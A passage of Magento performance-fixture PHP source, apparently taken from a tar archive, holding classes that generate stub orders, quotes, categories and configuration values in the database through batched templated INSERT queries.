$itemIdSequence->next(); } } } catch (\Exception $lastException) { foreach ($this->resourceConnections as $connection) { if ($connection->getTransactionLevel() > 0) { $connection->rollBack(); } } throw $lastException; } if ($batchNumber >= self::BATCH_SIZE) { $this->commitBatch(); $batchNumber = 0; } $entityId++; } foreach ($this->resourceConnections as $connection) { if ($connection->getTransactionLevel() > 0) { $connection->commit(); } } } /** * Load and prepare INSERT query templates data from external file. * * Queries are prepared using external json file, where keys are DB column names and values represent data, * to be inserted to the table. Data may contain a default value or a placeholder which is replaced later during * flow (in the query method of this class). * Additionally, in case if multiple DB connections are set up, transaction is started for each connection. * * @return void */ private function prepareQueryTemplates() { $fileName = __DIR__ . DIRECTORY_SEPARATOR . "_files" . DIRECTORY_SEPARATOR . "orders_fixture_data.json"; // phpcs:ignore Magento2.Functions.DiscouragedFunction $templateData = json_decode(file_get_contents(realpath($fileName)), true); foreach ($templateData as $table => $template) { if (isset($template['_table'])) { $table = $template['_table']; unset($template['_table']); } if (isset($template['_resource'])) { $resource = $template['_resource']; unset($template['_resource']); } else { $resource = explode("_", $table); foreach ($resource as &$item) { $item = ucfirst($item); } $resource = "Magento\\" . array_shift($resource) . "\\Model\\ResourceModel\\" . implode("\\", $resource); } $tableName = $this->getTableName($table, $resource); $querySuffix = ""; if (isset($template['_query_suffix'])) { $querySuffix = $template['_query_suffix']; unset($template['_query_suffix']); } $fields = implode(', ', array_keys($template)); $values = implode(', ', array_values($template)); /** @var \Magento\Framework\Model\ResourceModel\Db\AbstractDb $resourceModel */ $resourceModel = $this->fixtureModel->getObjectManager()->get($resource); $connection = $resourceModel->getConnection(); if ($connection->getTransactionLevel() == 0) { $connection->beginTransaction(); } // phpcs:ignore Magento2.SQL.RawQuery $this->queryTemplates[$table] = "INSERT INTO `{$tableName}` ({$fields}) VALUES ({$values}){$querySuffix};"; $this->resourceConnections[$table] = $connection; } } /** * Build and execute query. * * Builds a database query by replacing placeholder values in the cached queries and executes query in appropriate * DB connection (if setup). Additionally filters out quote-related queries, if appropriate flag is set. * * @param string $table * @param array $replacements * @return void */ protected function query($table, ... $replacements) { if (!$this->orderQuotesEnable && strpos($table, "quote") !== false) { return; } $query = $this->queryTemplates[$table]; foreach ($replacements as $data) { $query = str_replace(array_keys($data), array_values($data), $query); } $this->resourceConnections[$table]->query($query); } /** * Get maximum order id currently existing in the database. * * To support incremental generation of the orders it is necessary to get the maximum order entity_id currently * existing in the database. * * @param string $tableName * @param string $resourceName * @param string $column * @return int */ private function getMaxEntityId($tableName, $resourceName, $column = 'entity_id') { $tableName = $this->getTableName( $tableName, $resourceName ); /** @var \Magento\Framework\Model\ResourceModel\Db\VersionControl\AbstractDb $resource */ $resource = $this->fixtureModel->getObjectManager()->get($resourceName); $connection = $resource->getConnection(); // phpcs:ignore Magento2.SQL.RawQuery return (int)$connection->query("SELECT MAX(`{$column}`) FROM `{$tableName}`;")->fetchColumn(0); } /** * Get a limited amount of product id's from a collection filtered by store and specific product type. * * @param \Magento\Store\Api\Data\StoreInterface $store * @param string $typeId * @param int $limit * @return array * @throws \RuntimeException */ private function getProductIds(\Magento\Store\Api\Data\StoreInterface $store, $typeId, $limit = null) { /** @var $productCollection \Magento\Catalog\Model\ResourceModel\Product\Collection */ $productCollection = $this->productCollectionFactory->create(); $productCollection->addStoreFilter($store->getId()); $productCollection->addWebsiteFilter($store->getWebsiteId()); // "Big%" should be replaced with a configurable value. if ($typeId === self::BIG_CONFIGURABLE_TYPE) { $productCollection->getSelect()->where(" type_id = '" . Configurable::TYPE_CODE . "' "); $productCollection->getSelect()->where(" sku LIKE 'Big%' "); } else { $productCollection->getSelect()->where(" type_id = '$typeId' "); $productCollection->getSelect()->where(" sku NOT LIKE 'Big%' "); } $ids = $productCollection->getAllIds($limit); if ($limit && count($ids) < $limit) { throw new \RuntimeException('Not enough products of type: ' . $typeId); } return $ids; } /** * Prepare data for the simple products to be used as order items. * * Based on the Product Id's load data, which is required to replace placeholders in queries. * * @param array $productIds * @return array */ private function prepareSimpleProducts(array $productIds = []) { $productsResult = []; foreach ($productIds as $key => $simpleId) { $simpleProduct = $this->productRepository->getById($simpleId); $productsResult[$key]['id'] = $simpleId; $productsResult[$key]['sku'] = $simpleProduct->getSku(); $productsResult[$key]['name'] = $simpleProduct->getName(); $productsResult[$key]['buyRequest'] = $this->serializer->serialize([ "info_buyRequest" => [ "uenc" => "aHR0cDovL21hZ2VudG8uZGV2L2NvbmZpZ3VyYWJsZS1wcm9kdWN0LTEuaHRtbA,,", "product" => $simpleId, "qty" => "1" ] ]); } return $productsResult; } /** * Prepare data for the configurable products to be used as order items. * * Based on the Product Id's load data, which is required to replace placeholders in queries. * * @param array $productIds * @return array */ private function prepareConfigurableProducts(array $productIds = []) { $productsResult = []; foreach ($productIds as $key => $configurableId) { $configurableProduct = $this->productRepository->getById($configurableId); $options = $this->optionRepository->getList($configurableProduct->getSku()); $configurableChild = $configurableProduct->getTypeInstance()->getUsedProducts($configurableProduct); $configurableChild = reset($configurableChild); $simpleSku = $configurableChild->getSku(); $simpleId = $this->productRepository->get($simpleSku)->getId(); $attributesInfo = []; $superAttribute = []; foreach ($options as $option) { $attributesInfo[] = [ "label" => $option->getLabel(), "value" => $option['options']['0']['label'], "option_id" => $option->getAttributeId(), "option_value" => $option->getValues()[0]->getValueIndex() ]; $superAttribute[$option->getAttributeId()] = $option->getValues()[0]->getValueIndex(); } $configurableBuyRequest = [ "info_buyRequest" => [ "uenc" => "aHR0cDovL21hZ2UyLmNvbS9jYXRlZ29yeS0xLmh0bWw", "product" => $configurableId, "selected_configurable_option" => $simpleId, "related_product" => "", "super_attribute" => $superAttribute, "qty" => 1 ], "attributes_info" => $attributesInfo, "simple_name" => $configurableChild->getName(), "simple_sku" => $configurableChild->getSku(), ]; $simpleBuyRequest = [ "info_buyRequest" => [ "uenc" => "aHR0cDovL21hZ2VudG8uZGV2L2NvbmZpZ3VyYWJsZS1wcm9kdWN0LTEuaHRtbA,,", "product" => $configurableId, "selected_configurable_option" => $simpleId, "related_product" => "", "super_attribute" => $superAttribute, "qty" => "1" ] ]; $quoteConfigurableBuyRequest = $configurableBuyRequest['info_buyRequest']; $quoteSimpleBuyRequest = $simpleBuyRequest['info_buyRequest']; unset($quoteConfigurableBuyRequest['selected_configurable_option']); unset($quoteSimpleBuyRequest['selected_configurable_option']); $productsResult[$key]['id'] = $configurableId; $productsResult[$key]['sku'] = $simpleSku; $productsResult[$key]['name'] = $configurableProduct->getName(); $productsResult[$key]['childId'] = $simpleId; $productsResult[$key]['buyRequest'] = [ 'order' => $this->serializer->serialize($configurableBuyRequest), 'quote' => $this->serializer->serialize($quoteConfigurableBuyRequest), 'super_attribute' => $this->serializer->serialize($superAttribute) ]; $productsResult[$key]['childBuyRequest'] = [ 'order' => $this->serializer->serialize($simpleBuyRequest), 'quote' => $this->serializer->serialize($quoteSimpleBuyRequest), ]; } return $productsResult; } /** * Commit all active transactions at the end of the batch. * * Many transactions may exist, since generation process creates a transaction per each available DB connection. * * @return void */ private function commitBatch() { foreach ($this->resourceConnections as $connection) { if ($connection->getTransactionLevel() > 0) { $connection->commit(); $connection->beginTransaction(); } } } /** * @inheritdoc */ public function getActionTitle() { return 'Generating orders'; } /** * @inheritdoc */ public function introduceParamLabels() { return [ 'orders' => 'Orders' ]; } /** * Get real table name for db table, validated by db adapter. * * In case prefix or other features mutating default table names are used. * * @param string $tableName * @param string $resourceName * @return string */ public function getTableName($tableName, $resourceName) { /** @var \Magento\Framework\Model\ResourceModel\Db\AbstractDb $resource */ $resource = $this->fixtureModel->getObjectManager()->get($resourceName); return $resource->getConnection()->getTableName($resource->getTable($tableName)); } /** * Get sequence for order items * * @param int $maxItemId * @param int $requestedOrders * @param int $maxItemsPerOrder * @return \Generator */ private function getItemIdSequence($maxItemId, $requestedOrders, $maxItemsPerOrder) { $requestedItems = $requestedOrders * $maxItemsPerOrder; for ($i = $maxItemId + 1; $i <= $requestedItems; $i++) { yield $i; } } } Magento/Setup/Fixtures/CategoryResolver.php000077700000006165151323623130015075 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Fixtures; use Magento\Catalog\Api\CategoryRepositoryInterface; use Magento\Catalog\Model\CategoryFactory; use Magento\Catalog\Model\ResourceModel\Category\CollectionFactory; use Magento\Store\Model\StoreManager; /** * Provide category id. Find category in default store group by specified website and category name or create new one */ class CategoryResolver { /** * @var StoreManager */ private $storeManager; /** * @var CategoryFactory */ private $categoryFactory; /** * @var CollectionFactory */ private $collectionFactory; /** * @var CategoryRepositoryInterface */ private $categoryRepository; /** * @var array */ private $categories = []; /** * @param StoreManager $storeManager * @param CategoryFactory $categoryFactory * @param CategoryRepositoryInterface $categoryRepository * @param CollectionFactory $collectionFactory * @internal param Category $category */ public function __construct( StoreManager $storeManager, CategoryFactory $categoryFactory, CategoryRepositoryInterface $categoryRepository, CollectionFactory $collectionFactory ) { $this->storeManager = $storeManager; $this->categoryFactory = $categoryFactory; $this->collectionFactory = $collectionFactory; $this->categoryRepository = $categoryRepository; } /** * Get category id * * @param int $websiteId * @param string $categoryName * @return int */ public function getCategory($websiteId, $categoryName) { $categoryKey = $websiteId . $categoryName; if (!isset($this->categories[$categoryKey])) { $website = $this->storeManager->getWebsite($websiteId); $rootCategoryId = $website->getDefaultGroup()->getRootCategoryId(); $website->getDefaultGroup()->getStoreId(); $category = $this->collectionFactory->create() ->addFieldToFilter('parent_id', $rootCategoryId) ->addFieldToFilter('name', $categoryName) ->fetchItem(); if ($category && $category->getId()) { $this->categories[$categoryKey] = $category->getId(); } else { $category = $this->categoryFactory->create( [ 'data' => [ 'parent_id' => $rootCategoryId, 'name' => $categoryName, 'position' => 1, 'is_active' => true, 'available_sort_by' => ['position', 'name'], 'url_key' => $categoryName . '-' . $websiteId ] ] ); $category = $this->categoryRepository->save($category); $this->categories[$categoryKey] = $category->getId(); } } return $this->categories[$categoryKey]; } } Magento/Setup/Fixtures/ConfigsApplyFixture.php000077700000003301151323623130015530 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Fixtures; /** * Class ConfigsApplyFixture */ class ConfigsApplyFixture extends Fixture { /** * @var int */ protected $priority = -1; /** * {@inheritdoc} */ public function execute() { $configs = $this->fixtureModel->getValue('configs', []); if (empty($configs)) { return; } $this->fixtureModel->resetObjectManager(); foreach ($configs['config'] as $config) { $backendModel = isset($config['backend_model']) ? $config['backend_model'] : \Magento\Framework\App\Config\Value::class; /** * @var \Magento\Framework\App\Config\ValueInterface $configData */ $configData = $this->fixtureModel->getObjectManager()->create($backendModel); $configData->setPath($config['path']) ->setScope($config['scope']) ->setScopeId($config['scopeId']) ->setValue($config['value']) ->save(); } $this->fixtureModel->getObjectManager() ->get(\Magento\Framework\App\CacheInterface::class) ->clean([\Magento\Framework\App\Config::CACHE_TAG]); $this->fixtureModel->getObjectManager() ->get(\Magento\Config\App\Config\Type\System::class) ->clean(); } /** * {@inheritdoc} */ public function getActionTitle() { return 'Config Changes'; } /** * {@inheritdoc} */ public function introduceParamLabels() { return []; } } Magento/Setup/Fixtures/Quote/QuoteGenerator.php000077700000071426151323623130015641 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Fixtures\Quote; use Magento\Catalog\Model\Product\Type; use Magento\ConfigurableProduct\Model\Product\Type\Configurable; /** * Fixture generator for Quote entities. * * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class QuoteGenerator { /** * Batch size for quote generation. * * @var string */ const BATCH_SIZE = 1000; /** * INSERT query templates. * * @var array */ private $queryTemplates; /** * Array of resource connections ordered by tables. * * @var \Magento\Framework\DB\Adapter\AdapterInterface[] */ private $resourceConnections; /** * @var \Magento\Store\Model\StoreManagerInterface */ private $storeManager; /** * @var \Magento\Catalog\Api\ProductRepositoryInterface */ private $productRepository; /** * @var \Magento\ConfigurableProduct\Api\OptionRepositoryInterface */ private $optionRepository; /** * @var \Magento\Catalog\Model\ResourceModel\Product\CollectionFactory */ private $productCollectionFactory; /** * @var \Magento\ConfigurableProduct\Api\LinkManagementInterface */ private $linkManagement; /** * @var \Magento\Framework\Serialize\SerializerInterface */ private $serializer; /** * @var array */ private $productStubData; /** * @var QuoteConfiguration */ private $config; /** * @var \Magento\Setup\Fixtures\FixtureModel */ private $fixtureModel; /** * @param \Magento\Store\Model\StoreManagerInterface $storeManager * @param \Magento\Catalog\Model\ResourceModel\Product\CollectionFactory $productCollectionFactory * @param \Magento\Catalog\Api\ProductRepositoryInterface $productRepository * @param \Magento\ConfigurableProduct\Api\OptionRepositoryInterface $optionRepository * @param \Magento\ConfigurableProduct\Api\LinkManagementInterface $linkManagement * @param \Magento\Framework\Serialize\SerializerInterface $serializer * @param QuoteConfiguration $config * @param \Magento\Setup\Fixtures\FixtureModel $fixtureModel */ public function __construct( \Magento\Store\Model\StoreManagerInterface $storeManager, \Magento\Catalog\Model\ResourceModel\Product\CollectionFactory $productCollectionFactory, \Magento\Catalog\Api\ProductRepositoryInterface $productRepository, \Magento\ConfigurableProduct\Api\OptionRepositoryInterface $optionRepository, \Magento\ConfigurableProduct\Api\LinkManagementInterface $linkManagement, \Magento\Framework\Serialize\SerializerInterface $serializer, QuoteConfiguration $config, \Magento\Setup\Fixtures\FixtureModel $fixtureModel ) { $this->storeManager = $storeManager; $this->productCollectionFactory = $productCollectionFactory; $this->productRepository = $productRepository; $this->optionRepository = $optionRepository; $this->linkManagement = $linkManagement; $this->serializer = $serializer; $this->config = $config; $this->fixtureModel = $fixtureModel; } /** * Prepare and save quotes in database. * * @throws \Exception * @return void */ public function generateQuotes() { $maxItemsPerOrder = $this->config->getSimpleCountTo() + ($this->config->getConfigurableCountTo() + $this->config->getBigConfigurableCountTo()) * 2; $maxItemId = $this->getMaxEntityId( 'quote_item', \Magento\Quote\Model\ResourceModel\Quote\Item::class, 'item_id' ); /** @var \Generator $itemIdSequence */ $itemIdSequence = $this->getItemIdSequence( $maxItemId, $this->config->getRequiredQuoteQuantity(), $maxItemsPerOrder ); $this->productStubData = $this->prepareProductsForQuote(); $this->prepareQueryTemplates(); $entityId = $this->getMaxEntityId('quote', \Magento\Quote\Model\ResourceModel\Quote::class, 'entity_id'); $quoteQty = $this->config->getExistsQuoteQuantity(); $batchNumber = 0; while ($quoteQty < $this->config->getRequiredQuoteQuantity()) { $entityId++; $batchNumber++; $quoteQty++; try { $this->saveQuoteWithQuoteItems($entityId, $itemIdSequence); } catch (\Exception $lastException) { foreach ($this->resourceConnections as $connection) { if ($connection->getTransactionLevel() > 0) { $connection->rollBack(); } } throw $lastException; } if ($batchNumber >= self::BATCH_SIZE) { $this->commitBatch(); $batchNumber = 0; } } foreach ($this->resourceConnections as $connection) { if ($connection->getTransactionLevel() > 0) { $connection->commit(); } } } /** * Save quote and quote items. * * @param int $entityId * @param \Generator $itemIdSequence * @return void */ private function saveQuoteWithQuoteItems($entityId, \Generator $itemIdSequence) { $productCount = [ Type::TYPE_SIMPLE => random_int( $this->config->getSimpleCountFrom(), $this->config->getSimpleCountTo() ), Configurable::TYPE_CODE => random_int( $this->config->getConfigurableCountFrom(), $this->config->getConfigurableCountTo() ), QuoteConfiguration::BIG_CONFIGURABLE_TYPE => random_int( $this->config->getBigConfigurableCountFrom(), $this->config->getBigConfigurableCountTo() ) ]; $quote = [ '%itemsPerOrder%' => array_sum($productCount), '%orderNumber%' => 100000000 * $this->getStubProductStoreId($entityId) + $entityId, '%email%' => "quote_{$entityId}@example.com", '%time%' => date(\Magento\Framework\Stdlib\DateTime::DATETIME_PHP_FORMAT), '%productStoreId%' => $this->getStubProductStoreId($entityId), '%productStoreName%' => $this->getStubProductStoreName($entityId), '%entityId%' => $entityId, ]; $shippingAddress = ['%orderAddressId%' => $entityId * 2 - 1, '%addressType%' => 'shipping']; $billingAddress = ['%orderAddressId%' => $entityId * 2, '%addressType%' => 'billing']; $address = $this->getAddressDataFixture(); $this->query('quote', $quote); $this->query('quote_address', $quote, $address, $shippingAddress); $this->query('quote_address', $quote, $address, $billingAddress); for ($i = 0; $i < $productCount[Type::TYPE_SIMPLE]; $i++) { $this->saveItemSimpleData($entityId, $i, $itemIdSequence->current(), $quote); $itemIdSequence->next(); } foreach ([Configurable::TYPE_CODE, QuoteConfiguration::BIG_CONFIGURABLE_TYPE] as $type) { for ($i = 0; $i < $productCount[$type]; $i++) { // Generate parent item $parentItemId = $itemIdSequence->current(); $this->saveParentItemConfigurableData($entityId, $i, $parentItemId, $type, $quote); $itemIdSequence->next(); // Generate child item $itemId = $itemIdSequence->current(); $this->saveChildItemConfigurable($entityId, $i, $itemId, $parentItemId, $type, $quote); $itemIdSequence->next(); } } } /** * Prepare and save quote item with simple product. * * @param int $entityId * @param int $index * @param int $itemId * @param array $quote * @return void */ private function saveItemSimpleData($entityId, $index, $itemId, array $quote) { $itemData = [ '%productId%' => $this->getStubProductId($entityId, $index, Type::TYPE_SIMPLE), '%sku%' => $this->getStubProductSku($entityId, $index, Type::TYPE_SIMPLE), '%name%' => $this->getStubProductName($entityId, $index, Type::TYPE_SIMPLE), '%itemId%' => $itemId, '%productType%' => Type::TYPE_SIMPLE, '%productOptions%' => $this->getStubProductBuyRequest($entityId, $index, Type::TYPE_SIMPLE), '%parentItemId%' => 'null', ]; $this->query('quote_item', $quote, $itemData); $this->query('quote_item_option', $quote, $itemData, [ '%code%' => 'info_buyRequest', '%value%' => $this->serializer->serialize([ 'product' => $this->getStubProductId($entityId, $index, Type::TYPE_SIMPLE), 'qty' => "1", 'uenc' => 'aHR0cDovL21hZ2UyLmNvbS9jYXRlZ29yeS0xLmh0bWw' ]) ]); } /** * Prepare and save parent quote item for configurable product. * * @param int $entityId * @param int $index * @param int $parentItemId * @param string $productType * @param array $quote * @return void */ private function saveParentItemConfigurableData($entityId, $index, $parentItemId, $productType, array $quote) { $itemData = [ '%productId%' => $this->getStubProductId($entityId, $index, $productType), '%sku%' => $this->getStubProductSku($entityId, $index, $productType), '%name%' => $this->getStubProductName($entityId, $index, $productType), '%productOptions%' => $this->getStubProductBuyRequest($entityId, $index, $productType)['order'], '%itemId%' => $parentItemId, '%parentItemId%' => 'null', '%productType%' => Configurable::TYPE_CODE ]; $this->query('quote_item', $quote, $itemData); $this->query('quote_item_option', $quote, $itemData, [ '%code%' => 'info_buyRequest', '%value%' => $this->getStubProductBuyRequest($entityId, $index, $productType)['quote'] ]); $this->query('quote_item_option', $quote, $itemData, [ '%code%' => 'attributes', '%value%' => $this->getStubProductBuyRequest($entityId, $index, $productType)['super_attribute'] ]); $itemData['%productId%'] = $this->getStubProductChildId($entityId, $index, $productType); $this->query('quote_item_option', $itemData, [ '%code%' => "product_qty_" . $this->getStubProductChildId($entityId, $index, $productType), '%value%' => "1" ]); $this->query('quote_item_option', $itemData, [ '%code%' => "simple_product", '%value%' => $this->getStubProductChildId($entityId, $index, $productType) ]); } /** * Prepare and save child quote item for configurable product. * * @param int $entityId * @param int $index * @param int $itemId * @param int $parentItemId * @param string $productType * @param array $quote * @return void */ private function saveChildItemConfigurable($entityId, $index, $itemId, $parentItemId, $productType, array $quote) { $itemData = [ '%productId%' => $this->getStubProductChildId($entityId, $index, $productType), '%sku%' => $this->getStubProductSku($entityId, $index, $productType), '%name%' => $this->getStubProductName($entityId, $index, $productType), '%productOptions%' => $this->getStubProductChildBuyRequest($entityId, $index, $productType)['order'], '%itemId%' => $itemId, '%parentItemId%' => $parentItemId, '%productType%' => Type::TYPE_SIMPLE ]; $this->query('quote_item', $quote, $itemData); $this->query('quote_item_option', $itemData, [ '%code%' => "info_buyRequest", '%value%' => $this->getStubProductChildBuyRequest($entityId, $index, $productType)['quote'] ]); $this->query('quote_item_option', $itemData, [ '%code%' => "parent_product_id", '%value%' => $this->getStubProductId($entityId, $index, $productType) ]); } /** * Get store id for quote item by product index. * * @param int $entityId * @return int */ private function getStubProductStoreId($entityId) { return $this->productStubData[$this->getProductStubIndex($entityId)][0]; } /** * Get store name for quote item by product index. * * @param int $entityId * @return string */ private function getStubProductStoreName($entityId) { return $this->productStubData[$this->getProductStubIndex($entityId)][1]; } /** * Get product id for quote item by product index. * * @param int $entityId * @param int $index * @param string $type * @return int */ private function getStubProductId($entityId, $index, $type) { return $this->productStubData[$this->getProductStubIndex($entityId)][2][$type][$index]['id']; } /** * Get product SKU for quote item by product index. * * @param int $entityId * @param int $index * @param string $type * @return string */ private function getStubProductSku($entityId, $index, $type) { return $this->productStubData[$this->getProductStubIndex($entityId)][2][$type][$index]['sku']; } /** * Get product name for quote item by product index. * * @param int $entityId * @param int $index * @param string $type * @return string */ private function getStubProductName($entityId, $index, $type) { return $this->productStubData[$this->getProductStubIndex($entityId)][2][$type][$index]['name']; } /** * Get product buy request for quote item by product index. * * @param int $entityId * @param int $index * @param string $type * @return string */ private function getStubProductBuyRequest($entityId, $index, $type) { return $this->productStubData[$this->getProductStubIndex($entityId)][2][$type][$index]['buyRequest']; } /** * Get configurable product child id for quote item by product index. * * @param int $entityId * @param int $index * @param string $type * @return string */ private function getStubProductChildBuyRequest($entityId, $index, $type) { return $this->productStubData[$this->getProductStubIndex($entityId)][2][$type][$index]['childBuyRequest']; } /** * Get configurable product child id for quote item by product index. * * @param int $entityId * @param int $index * @param string $type * @return int */ private function getStubProductChildId($entityId, $index, $type) { return $this->productStubData[$this->getProductStubIndex($entityId)][2][$type][$index]['childId']; } /** * Get index of item in product stub array. * * @param int $entityId * @return int */ private function getProductStubIndex($entityId) { $storeCount = count($this->productStubData); $qty = intdiv($this->config->getRequiredQuoteQuantity(), $storeCount); return intdiv($entityId, $qty) % $storeCount; } /** * Get quote address mock data. * * @return array */ private function getAddressDataFixture() { return [ '%firstName%' => 'First Name', '%lastName%' => 'Last Name', '%company%' => 'Company', '%address%' => 'Address', '%city%' => 'city', '%state%' => 'Alabama', '%country%' => 'US', '%zip%' => '11111', '%phone%' => '911' ]; } /** * Prepare mock of products for quotes. * * @return array */ private function prepareProductsForQuote() { $result = []; foreach ($this->storeManager->getStores() as $store) { $productsResult = []; $this->storeManager->setCurrentStore($store->getId()); if ($this->config->getSimpleCountTo() > 0) { $productsResult[Type::TYPE_SIMPLE] = $this->prepareSimpleProducts( $this->getProductIds($store, Type::TYPE_SIMPLE, $this->config->getSimpleCountTo()) ); } $configurables = [ Configurable::TYPE_CODE => $this->config->getConfigurableCountTo(), QuoteConfiguration::BIG_CONFIGURABLE_TYPE => $this->config->getBigConfigurableCountTo(), ]; foreach ($configurables as $type => $qty) { if ($qty > 0) { $productsResult[$type] = $this->prepareConfigurableProducts( $this->getProductIds( $store, $type, $qty ) ); } } $result[] = [ $store->getId(), implode(PHP_EOL, [ $this->storeManager->getWebsite($store->getWebsiteId())->getName(), $this->storeManager->getGroup($store->getStoreGroupId())->getName(), $store->getName() ]), $productsResult ]; } return $result; } /** * Load and prepare INSERT query templates data from external file. * * Queries are prepared using external json file, where keys are DB column names and values represent data, * to be inserted to the table. Data may contain a default value or a placeholder which is replaced later during * flow (in the query method of this class). * Additionally, in case if multiple DB connections are set up, transaction is started for each connection. * * @return void */ private function prepareQueryTemplates() { $fileName = $this->config->getFixtureDataFilename(); // phpcs:ignore Magento2.Functions.DiscouragedFunction $templateData = json_decode(file_get_contents(realpath($fileName)), true); foreach ($templateData as $table => $template) { if (isset($template['_table'])) { $table = $template['_table']; unset($template['_table']); } if (isset($template['_resource'])) { $resource = $template['_resource']; unset($template['_resource']); } else { $resource = explode("_", $table); foreach ($resource as &$item) { $item = ucfirst($item); } $resource = "Magento\\" . array_shift($resource) . "\\Model\\ResourceModel\\" . implode("\\", $resource); } $tableName = $this->getTableName($table, $resource); $querySuffix = ""; if (isset($template['_query_suffix'])) { $querySuffix = $template['_query_suffix']; unset($template['_query_suffix']); } $fields = implode(', ', array_keys($template)); $values = implode(', ', array_values($template)); $connection = $this->getConnection($resource); if ($connection->getTransactionLevel() == 0) { $connection->beginTransaction(); } // phpcs:ignore Magento2.SQL.RawQuery $this->queryTemplates[$table] = "INSERT INTO `{$tableName}` ({$fields}) VALUES ({$values}){$querySuffix};"; $this->resourceConnections[$table] = $connection; } } /** * Build and execute query. * * Builds a database query by replacing placeholder values in the cached queries and executes query in appropriate * DB connection (if setup). Additionally filters out quote-related queries, if appropriate flag is set. * * @param string $table * @param array $replacements * @return void */ protected function query($table, ...$replacements) { $query = $this->queryTemplates[$table]; foreach ($replacements as $data) { $query = str_replace(array_keys($data), array_values($data), $query); } $this->resourceConnections[$table]->query($query); } /** * Get maximum order id currently existing in the database. * * To support incremental generation of the orders it is necessary to get the maximum order entity_id currently. * existing in the database. * * @param string $tableName * @param string $resourceName * @param string $column [optional] * @return int */ private function getMaxEntityId($tableName, $resourceName, $column = 'entity_id') { $tableName = $this->getTableName($tableName, $resourceName); $connection = $this->getConnection($resourceName); // phpcs:ignore Magento2.SQL.RawQuery return (int)$connection->query("SELECT MAX(`{$column}`) FROM `{$tableName}`;")->fetchColumn(0); } /** * Get a limited amount of product id's from a collection filtered by store and specific product type. * * @param \Magento\Store\Api\Data\StoreInterface $store * @param string $typeId * @param int $limit [optional] * @return array */ private function getProductIds(\Magento\Store\Api\Data\StoreInterface $store, $typeId, $limit = null) { /** @var $productCollection \Magento\Catalog\Model\ResourceModel\Product\Collection */ $productCollection = $this->productCollectionFactory->create(); $productCollection->addStoreFilter($store->getId()); $productCollection->addWebsiteFilter($store->getWebsiteId()); // "Big%" should be replaced with a configurable value. if ($typeId === QuoteConfiguration::BIG_CONFIGURABLE_TYPE) { $productCollection->getSelect()->where(" type_id = '" . Configurable::TYPE_CODE . "' "); $productCollection->getSelect()->where(" sku LIKE 'Big%' "); } else { $productCollection->getSelect()->where(" type_id = '$typeId' "); $productCollection->getSelect()->where(" sku NOT LIKE 'Big%' "); } return $productCollection->getAllIds($limit); } /** * Prepare data for the simple products to be used as order items. * * Based on the Product Id's load data, which is required to replace placeholders in queries. * * @param array $productIds [optional] * @return array */ private function prepareSimpleProducts(array $productIds = []) { $productsResult = []; foreach ($productIds as $key => $simpleId) { $simpleProduct = $this->productRepository->getById($simpleId); $productsResult[$key]['id'] = $simpleId; $productsResult[$key]['sku'] = $simpleProduct->getSku(); $productsResult[$key]['name'] = $simpleProduct->getName(); $productsResult[$key]['buyRequest'] = $this->serializer->serialize([ "info_buyRequest" => [ "uenc" => "aHR0cDovL21hZ2VudG8uZGV2L2NvbmZpZ3VyYWJsZS1wcm9kdWN0LTEuaHRtbA,,", "product" => $simpleId, "qty" => "1" ] ]); } return $productsResult; } /** * Prepare data for the configurable products to be used as order items. * * Based on the Product Id's load data, which is required to replace placeholders in queries. * * @param array $productIds [optional] * @return array */ private function prepareConfigurableProducts(array $productIds = []) { $productsResult = []; foreach ($productIds as $key => $configurableId) { $configurableProduct = $this->productRepository->getById($configurableId); $options = $this->optionRepository->getList($configurableProduct->getSku()); $configurableChild = $this->linkManagement->getChildren($configurableProduct->getSku())[0]; $simpleSku = $configurableChild->getSku(); $simpleId = $this->productRepository->get($simpleSku)->getId(); $attributesInfo = []; $superAttribute = []; foreach ($options as $option) { $attributesInfo[] = [ "label" => $option->getLabel(), "value" => $option['options']['0']['label'] ?? null, "option_id" => $option->getAttributeId(), "option_value" => $option->getValues()[0]->getValueIndex() ]; $superAttribute[$option->getAttributeId()] = $option->getValues()[0]->getValueIndex(); } $configurableBuyRequest = [ "info_buyRequest" => [ "uenc" => "aHR0cDovL21hZ2UyLmNvbS9jYXRlZ29yeS0xLmh0bWw", "product" => $configurableId, "selected_configurable_option" => $simpleId, "related_product" => "", "super_attribute" => $superAttribute, "qty" => 1 ], "attributes_info" => $attributesInfo, "simple_name" => $configurableChild->getName(), "simple_sku" => $configurableChild->getSku(), ]; $simpleBuyRequest = [ "info_buyRequest" => [ "uenc" => "aHR0cDovL21hZ2VudG8uZGV2L2NvbmZpZ3VyYWJsZS1wcm9kdWN0LTEuaHRtbA,,", "product" => $configurableId, "selected_configurable_option" => $simpleId, "related_product" => "", "super_attribute" => $superAttribute, "qty" => "1" ] ]; $quoteConfigurableBuyRequest = $configurableBuyRequest['info_buyRequest']; $quoteSimpleBuyRequest = $simpleBuyRequest['info_buyRequest']; unset($quoteConfigurableBuyRequest['selected_configurable_option']); unset($quoteSimpleBuyRequest['selected_configurable_option']); $productsResult[$key]['id'] = $configurableId; $productsResult[$key]['sku'] = $simpleSku; $productsResult[$key]['name'] = $configurableProduct->getName(); $productsResult[$key]['childId'] = $simpleId; $productsResult[$key]['buyRequest'] = [ 'order' => $this->serializer->serialize($configurableBuyRequest), 'quote' => $this->serializer->serialize($quoteConfigurableBuyRequest), 'super_attribute' => $this->serializer->serialize($superAttribute) ]; $productsResult[$key]['childBuyRequest'] = [ 'order' => $this->serializer->serialize($simpleBuyRequest), 'quote' => $this->serializer->serialize($quoteSimpleBuyRequest), ]; } return $productsResult; } /** * Commit all active transactions at the end of the batch. * * Many transactions may exist, since generation process creates a transaction per each available DB connection. * * @return void */ private function commitBatch() { foreach ($this->resourceConnections as $connection) { if ($connection->getTransactionLevel() > 0) { $connection->commit(); $connection->beginTransaction(); } } } /** * Get sequence for order items. * * @param int $maxItemId * @param int $requestedOrders * @param int $maxItemsPerOrder * @return \Generator */ private function getItemIdSequence($maxItemId, $requestedOrders, $maxItemsPerOrder) { $requestedItems = $maxItemId + ($requestedOrders + 1) * $maxItemsPerOrder; for ($i = $maxItemId + 1; $i <= $requestedItems; $i++) { yield $i; } } /** * Get real table name for db table, validated by db adapter. * * In case prefix or other features mutating default table names are used. * * @param string $tableName * @param string $resourceName * @return string */ private function getTableName($tableName, 